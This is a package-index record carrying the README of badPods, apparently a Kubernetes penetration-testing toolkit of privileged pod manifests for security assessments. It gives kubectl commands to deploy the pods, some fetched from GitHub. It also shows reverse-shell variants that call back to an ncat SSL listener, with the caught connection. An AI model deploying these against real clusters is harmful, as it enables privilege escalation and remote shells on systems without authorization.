{"id":20674861,"url":"https://github.com/bishopfox/badpods","last_synced_at":"2025-04-04T21:08:56.489Z","repository":{"id":39492523,"uuid":"305418941","full_name":"BishopFox/badPods","owner":"BishopFox","description":"A collection of manifests that will create pods with elevated privileges.","archived":false,"fork":false,"pushed_at":"2022-06-02T20:34:52.000Z","size":1005,"stargazers_count":615,"open_issues_count":0,"forks_count":108,"subscribers_count":20,"default_branch":"main","last_synced_at":"2025-03-28T20:10:02.761Z","etag":null,"topics":["assessment","exploitation","hostipc","hostnetwork","hostpath","hostpid","kubernetes","penetration-testing","pods","podspec","privileged","security"],"latest_commit_sha":null,"homepage":"https://labs.bishopfox.com/tech-blog/bad-pods-kubernetes-pod-privilege-escalation","language":"Shell","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/BishopFox.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null}},"created_at":"2020-10-19T14:52:00.000Z","updated_at":"2025-03-19T16:57:48.000Z","dependencies_parsed_at":"2022-08-29T01:31:26.806Z","dependency_job_id":null,"html_url":"https://github.com/BishopFox/badPods","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/BishopFox%2FbadPods","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/BishopFox%2FbadPods/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/BishopFox%2FbadPods/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/BishopFox%2FbadPods/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/BishopFox","download_url":"https://codeload.github.com/BishopFox/badPods/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":247249527,"owners_count":20908212,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["assessment","exploitation","hostipc","hostnetwork","hostpath","hostpid","kubernetes","penetration-testing","pods","podspec","privileged","security"],"created_at":"2024-11-16T21:07:48.907Z","updated_at":"2025-04-04T21:08:56.461Z","avatar_url":"https://github.com/BishopFox.png","language":"Shell","funding_links":[],"categories":[],"sub_categories":[],"readme":"# Bad Pods\n\n![](.github/images/Title.jpg)\n\nA collection of manifests that create pods with different elevated privileges. Quickly demonstrate the impact of allowing security sensitive pod attributes like `hostNetwork`, `hostPID`, `hostPath`, `hostIPC`, and `privileged`. \n\nFor additional background, see our blog post: [Bad Pods: Kubernetes Pod Privilege Escalation](https://labs.bishopfox.com/tech-blog/bad-pods-kubernetes-pod-privilege-escalation).    \n\n## Contents\n\n* [The Bad pods line-up](#The-bad-pods-line-up)\n* [Prerequisites](#Prerequisites)\n* [Organization](#Organization)\n* [Usage](#Usage)\n   * [High level approach](#High-level-approach)\n   * [Usage examples](#Usage-examples)\n      * [Create all eight Bad Pods from cloned local repo](#Create-all-eight-Bad-Pods-from-cloned-local-repo)\n      * [Create all eight Bad Pods from github](#Create-all-eight-Bad-Pods-from-Github)\n      * [Create all eight reverse shell Bad Pods](#Create-all-eight-revsere-shell-Bad-Pods)\n      * [Create all eight resource types using the everything-allowed pod](#Create-all-eight-resource-types-using-the-everything-allowed-pod)\n      * [Create a cronjob with the hostNetwork pod](#Create-a-cronjob-with-the-hostNetwork-pod)\n      * [Create a deployment with the priv-and-hostpid pod](#Create-a-deployment-with-the-priv-and-hostpid-pod)\n      * [Create a reverse shell using the privileged pod](#Create-a-reverse-shell-using-the-privileged-pod)\n* [Acknowledgements](#Acknowledgements)\n* [References and further reading](#References-and-further-reading)\n\n## The Bad Pods line-up\nEach link below provides detailed usage information and post exploitation recommendations. \n\n* [Bad Pod #1: Everything allowed](manifests/everything-allowed/) \n* [Bad Pod #2: Privileged and hostPid](manifests/priv-and-hostpid/) \n* [Bad Pod #3: Privileged only](manifests/priv/) \n* [Bad Pod #4: hostPath only](manifests/hostpath/) \n* [Bad Pod #5: hostPid only](manifests/hostpid/) \n* [Bad Pod #6: hostNetwork only](manifests/hostnetwork/) \n* [Bad Pod #7: hostIPC only](manifests/hostipc/) \n* [Bad Pod #8: Nothing allowed](manifests/nothing-allowed/) \n  \n For more general information about prerequisites, repository organization, and common usage patterns, see the sections below.  \n# Prerequisites\n1. Access to a cluster \n1. RBAC permission to create one of the following resource types in at least one namespace: \n   * CronJob, DeamonSet, Deployment, Job, Pod, ReplicaSet, ReplicationController, StatefulSet\n1. RBAC permission to exec into pods or a network policy that allows a reverse shell from a pod to reach you. \n1. No pod security policy enforcement, or a policy that allows pods to be created with one or more security sensitive attributes\n\n\n  \n# Organization\n* 128 self-contained, ready to use manifests. Why so many?\n   * 8 Bad Pods (hostpid, hostnetwork, everything-allowed, etc.)\n   * 8 resource types that can create pods (pod, deployment, replicaset, statefulset, etc.)\n   * 2 ways to access the created pods (exec \u0026 reverse shell)\n\n```\n├── manifests\n│   ├── everything-allowed\n│   │   ├── cronjob\n│   │   │   ├── everything-allowed-exec-cronjob.yaml\n│   │   │   └── everything-allowed-revshell-cronjob.yaml\n│   │   ├── daemonset\n│   │   │   ├── everything-allowed-exec-daemonset.yaml\n│   │   │   └── everything-allowed-revshell-daemonset.yaml\n│   │   ├── deployment\n│   │   │   ├── everything-allowed-exec-deployment.yaml\n│   │   │   └── everything-allowed-revshell-deployment.yaml\n│   │   ├── job\n│   │   │   ├── everything-allowed-exec-job.yaml\n│   │   │   └── everything-allowed-revshell-job.yaml\n│   │   ├── pod\n│   │   │   ├── everything-allowed-exec-pod.yaml\n│   │   │   └── everything-allowed-revshell-pod.yaml\n│   │   ├── replicaset\n│   │   │   ├── everything-allowed-exec-replicaset.yaml\n│   │   │   └── everything-allowed-revshell-replicaset.yaml\n│   │   ├── replicationcontroller\n│   │   │   ├── everything-allowed-exec-replicationcontroller.yaml\n│   │   │   └── everything-allowed-revshell-replicationcontroller.yaml\n│   │   └── statefulset\n│   │       ├── everything-allowed-exec-statefulset.yaml\n│   │       └── everything-allowed-revshell-statefulset.yaml\n│   ├── hostipc\n│   │   ├── cronjob\n│   │   │   ├── hostipc-exec-cronjob.yaml\n│   │   │   └── hostipc-revshell-cronjob.yaml\n│   │   ├── daemonset\n│   │   │   ├── hostipc-exec-daemonset.yaml\n│   │   │   └── hostipc-revshell-daemonset.yaml\n...omitted for brevity...\n```\n\n### There are eight ways to create a pod\nAs [Eviatar Gerzi (@g3rzi)](https://twitter.com/g3rzi) points out in the post [Eight Ways to Create a Pod](https://www.cyberark.com/resources/threat-research-blog/eight-ways-to-create-a-pod), there are 8 different controllers that can create a pod, or a set of pods.  You might not be authorized to create pods, but maybe you can create another resource type that will create one or more pods. For each badPod type, there are manifests that correspond to all eight resource types. \n\nBut wait, it gets worse! In addition to the eight current Kubernetes controllers that can create pods, there are third party controllers that can also create pods if they are applied to the cluster. Keep an eye out for them by looking at `kubectl api-resources`. \n\n### Reverse shells\nWhile common, it is not always the case that you can exec into pods that you can create. To help in those situations, a version of each manifest is included that uses [Rory McCune's (@raesene)](https://twitter.com/raesene) ncat dockerhub image. When created, the pod will make an encrypted call back to your listener. \n\n# Usage\nEach resource in the `manifests` directory targets a specific attribute or a combination of attributes that expose the cluster to risk when allowed. \n\n## High level approach\n\n#### Option 1: Methodical approach\n1. **Evaluate RBAC** - Determine which resource types you can create \n1. **Evaluate Admission Policy** - Determine which of the Bad Pods you will be able to create\n1. **Create Resources** - Based on what is allowed, use the specific badPod type and resource type and create your resources\n1. **Post Exploitation** - Evaluate post exploitation steps outlined in the README for that type\n   * [Everything allowed](manifests/everything-allowed/) \n   * [Privileged and hostPid](manifests/priv-and-hostpid/)\n   * [Privileged only](manifests/priv/)\n   * [hostPath only](manifests/hostpath/)\n   * [hostPid only](manifests/hostpid/)\n   * [hostNetwork only](manifests/hostnetwork/)\n   * [hostIPC only](manifests/hostipc/)\n   * [Nothing allowed](manifests/nothing-allowed/)\n\n\n#### Option 2: Shotgun approach\n1. **Create Resources** - Just start applying different manifests and see what works\n   * [Create all eight Bad Pods from Github](#Create-all-eight-Bad-Pods-from-Github)\n   * [Create all eight resource types using the everything-allowed pod](#create-all-eight-resource-types-using-the-everything-allowed-pod)\n1. **Post Exploitation** - For any created pods, evaluate post exploitation steps outlined in the README for that type\n   * [Everything allowed](manifests/everything-allowed/) \n   * [Privileged and hostPid](manifests/priv-and-hostpid/)\n   * [Privileged only](manifests/priv/)\n   * [hostPath only](manifests/hostpath/)\n   * [hostPid only](manifests/hostpid/)\n   * [hostNetwork only](manifests/hostnetwork/)\n   * [hostIPC only](manifests/hostipc/)\n   * [Nothing allowed](manifests/nothing-allowed/)\n\n## Usage Examples\n\n* [Create all eight Bad Pods from cloned local repo](#Create-all-eight-Bad-Pods-from-cloned-local-repo)\n* [Create all eight Bad Pods from github](#Create-all-eight-Bad-Pods-from-Github)\n* [Create all eight reverse shell Bad Pods](#Create-all-eight-revsere-shell-Bad-Pods)\n* [Create all eight resource types using the everything-allowed pod](#Create-all-eight-resource-types-using-the-everything-allowed-pod)\n* [Create a cronjob with the hostNetwork pod](#Create-a-cronjob-with-the-hostNetwork-pod)\n* [Create a deployment with the priv-and-hostpid pod](#Create-a-deployment-with-the-priv-and-hostpid-pod)\n* [Create a reverse shell using the privileged pod](#Create-a-reverse-shell-using-the-privileged-pod)\n\n\n### Create all eight Bad Pods from cloned local repo\n```\nkubectl apply -f ./manifests/everything-allowed/pod/everything-allowed-exec-pod.yaml\nkubectl apply -f ./manifests/priv-and-hostpid/pod/priv-and-hostpid-exec-pod.yaml\nkubectl apply -f ./manifests/priv/pod/priv-exec-pod.yaml\nkubectl apply -f ./manifests/hostpath/pod/hostpath-exec-pod.yaml\nkubectl apply -f ./manifests/hostpid/pod/hostpid-exec-pod.yaml\nkubectl apply -f ./manifests/hostnetwork/pod/hostnetwork-exec-pod.yaml\nkubectl apply -f ./manifests/hostipc/pod/hostipc-exec-pod.yaml\nkubectl apply -f ./manifests/nothing-allowed/pod/nothing-allowed-exec-pod.yaml\n```\n\n### Create all eight Bad Pods from Github\n```\nkubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/everything-allowed/pod/everything-allowed-exec-pod.yaml\nkubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/priv-and-hostpid/pod/priv-and-hostpid-exec-pod.yaml\nkubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/priv/pod/priv-exec-pod.yaml\nkubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/hostpath/pod/hostpath-exec-pod.yaml\nkubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/hostpid/pod/hostpid-exec-pod.yaml\nkubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/hostnetwork/pod/hostnetwork-exec-pod.yaml\nkubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/hostipc/pod/hostipc-exec-pod.yaml\nkubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/nothing-allowed/pod/nothing-allowed-exec-pod.yaml\n```\n\n### Create all eight revsere shell badPods\nTo avoid having to edit each pod with your host and port, you can environment variables and the `envsubst` command. Remember to spin up all of your listeners first!\n\n```\nHOST=\"10.0.0.1\" PORT=\"3111\" envsubst \u003c ./manifests/everything-allowed/pod/everything-allowed-revshell-pod.yaml | kubectl apply -f -\nHOST=\"10.0.0.1\" PORT=\"3112\" envsubst \u003c ./manifests/priv-and-hostpid/pod/priv-and-hostpid-revshell-pod.yaml | kubectl apply -f -\nHOST=\"10.0.0.1\" PORT=\"3113\" envsubst \u003c ./manifests/priv/pod/priv-revshell-pod.yaml | kubectl apply -f -\nHOST=\"10.0.0.1\" PORT=\"3114\" envsubst \u003c ./manifests/hostpath/pod/hostpath-revshell-pod.yaml | kubectl apply -f -\nHOST=\"10.0.0.1\" PORT=\"3115\" envsubst \u003c ./manifests/hostpid/pod/hostpid-revshell-pod.yaml  | kubectl apply -f -\nHOST=\"10.0.0.1\" PORT=\"3116\" envsubst \u003c ./manifests/hostnetwork/pod/hostnetwork-revshell-pod.yaml | kubectl apply -f -\nHOST=\"10.0.0.1\" PORT=\"3117\" envsubst \u003c ./manifests/hostipc/pod/hostipc-revshell-pod.yaml | kubectl apply -f -\nHOST=\"10.0.0.1\" PORT=\"3118\" envsubst \u003c ./manifests/nothing-allowed/pod/nothing-allowed-revshell-pod.yaml | kubectl apply -f -\n```\n### Create a cronjob with the hostNetwork pod\n```\nkubectl apply -f manifests/hostnetwork/cronjob/hostnetwork-exec-cronjob.yaml\n```\n\nFind the created pod\n```\nkubectl get pods | grep cronjob\n \nNAME                                        READY   STATUS    RESTARTS   AGE\nhostnetwork-exec-cronjob-1607351160-gm2x4   1/1     Running   0          24s\n```\n\nExec into pod\n```\nkubectl exec -it hostnetwork-exec-cronjob-1607351160-gm2x4 -- bash\n```\n\n### Create a deployment with the priv-and-hostpid pod\n```\nkubectl apply -f manifests/priv-and-hostpid/deployment/priv-and-hostpid-exec-deployment.yaml\n```\nFind the created pod\n```\nkubectl get pods | grep deployment\n\npriv-and-hostpid-exec-deployment-65dbfbf947-qwpz9   1/1     Running   0          56s\npriv-and-hostpid-exec-deployment-65dbfbf947-tghqh   1/1     Running   0          56s\n```\nExec into pod\n```\nkubectl exec -it priv-and-hostpid-exec-deployment-65dbfbf947-qwpz9 -- bash\n```\n\n### Create all eight resource types using the everything-allowed pod\n```\nfind manifests/everything-allowed/ -name \"*-exec-*.yaml\" -exec kubectl apply -f {} \\;\n\ncronjob.batch/everything-allowed-exec-cronjob created\ndaemonset.apps/everything-allowed-exec-daemonset created\ndeployment.apps/everything-allowed-exec-deployment created\njob.batch/everything-allowed-exec-job created\npod/everything-allowed-exec-pod created\nreplicaset.apps/everything-allowed-exec-replicaset created\nreplicationcontroller/everything-allowed-exec-replicationcontroller created\nservice/everything-allowed-exec-statefulset-service created\nstatefulset.apps/everything-allowed-exec-statefulset created\n```\n\nView all of the created pods\n```\nkubectl get pods\n\nNAME                                                  READY   STATUS    RESTARTS   AGE\neverything-allowed-exec-daemonset-qbrdb               1/1     Running   0          52s\neverything-allowed-exec-deployment-6cd7685786-rp65h   1/1     Running   0          51s\neverything-allowed-exec-deployment-6cd7685786-m66bl   1/1     Running   0          51s\neverything-allowed-exec-job-fhsbt                     1/1     Running   0          50s\neverything-allowed-exec-pod                           1/1     Running   0          50s\neverything-allowed-exec-replicaset-tlp8v              1/1     Running   0          49s\neverything-allowed-exec-replicaset-6znbz              1/1     Running   0          49s\neverything-allowed-exec-replicationcontroller-z9k8n   1/1     Running   0          48s\neverything-allowed-exec-replicationcontroller-m4648   1/1     Running   0          48s\neverything-allowed-exec-statefulset-0                 1/1     Running   0          47s\neverything-allowed-exec-statefulset-1                 1/1     Running   0          42s\n```\nDelete all everything-allowed resources\n```\nfind manifests/everything-allowed/ -name \"*-exec-*.yaml\" -exec kubectl delete -f {} \\;\n```\n\n### Create a reverse shell using the privileged pod\nSet up listener\n```\nncat --ssl -vlp 3116\n```\n\nCreate pod from local yaml without modifying it by using env variables and envsubst\n```\nHOST=\"10.0.0.1\" PORT=\"3116\" envsubst \u003c ./yaml/priv/pod-priv-revshell.yaml | kubectl apply -f -\n```\nCatch the shell \n```\nncat --ssl -vlp 3116\nNcat: Version 7.80 ( https://nmap.org/ncat )\nNcat: Generating a temporary 2048-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one.\nNcat: Listening on :::3116\nNcat: Listening on 0.0.0.0:3116\n\nConnection received on 10.0.0.162 42035\n```\n\n# Contributing\nPull requests and issues welcome.\n\n# Acknowledgements \nThank you [Rory McCune](https://twitter.com/raesene), [Duffie Cooley](https://twitter.com/mauilion), [Brad Geesaman](https://twitter.com/bradgeesaman), [Tabitha Sable](https://twitter.com/tabbysable), [Ian Coldwater](https://twitter.com/IanColdwater), [Mark Manning](https://twitter.com/antitree), [Eviatar Gerzi](https://twitter.com/g3rzi), and [Madhu Akula](https://twitter.com/madhuakula) for publicly sharing so much knowledge about Kubernetes offensive security. \n\n# References and further reading\nEach Bad Pod has it's own references and further reading section, but here are some more general resources that will help you ramp up your Kubernetes security assessments and penetration tests skills.\n\n## New kids on the block - 2020\n* [Container Security Site](https://www.container-security.site/) by @raesene\n* [CloudSecDocs - Container Security](https://cloudsecdocs.com/container_security/offensive/attacks/compromised_container/) by @lancinimarco\n* [Risk8s Business: Risk Analysis of Kubernetes Clusters](https://tldrsec.com/guides/kubernetes/) by @antitree\n* Compromising Kubernetes Cluster by Exploiting RBAC Permissions by @g3rzi - [Talk](https://www.youtube.com/watch?v=1LMo0CftVC4) / [Slides](https://published-prd.lanyonevents.com/published/rsaus20/sessionsFiles/18100/2020_USA20_DSO-W01_01_Compromising%20Kubernetes%20Cluster%20by%20Exploiting%20RBAC%20Permissions.pdf)\n* Command and KubeCTL: Real-World Kubernetes Security for Pentesters by @antitree - [Talk](https://www.youtube.com/watch?v=cRbHILH4f0A) / [Blog](https://research.nccgroup.com/2020/02/12/command-and-kubectl-talk-follow-up/)\n* Kubernetes Goat by @madhuakula - [Repo](https://github.com/madhuakula/kubernetes-goat) / [Guide](https://madhuakula.com/kubernetes-goat/)\n\n## The classics, way back from 2019\n* [Secure Kubernetes - KubeCon NA 2019 CTF](https://securekubernetes.com/) by @tabbysable, @petermbenjamin, @jimmesta, and @BradGeesaman\n* [The Most Pointless Kubernetes Command Ever](https://raesene.github.io/blog/2019/04/01/The-most-pointless-kubernetes-command-ever/) by @raesene \n* The Path Less Traveled: Abusing Kubernetes Defaults by @IanColdwater and @mauilion- [Talk](https://www.youtube.com/watch?v=HmoVSmTIOxM) / [Repository](https://github.com/mauilion/blackhat-2019)\n* [Understanding Docker container escapes](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/) by @disconnect3d_pl\n* [A Compendium of Container Escapes](https://www.youtube.com/watch?v=BQlqita2D2s) by @drraid and @0x7674\n* [Attacking Kubernetes through Kubelet](https://labs.f-secure.com/blog/attacking-kubernetes-through-kubelet/)\n\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fbishopfox%2Fbadpods","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fbishopfox%2Fbadpods","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fbishopfox%2Fbadpods/lists"}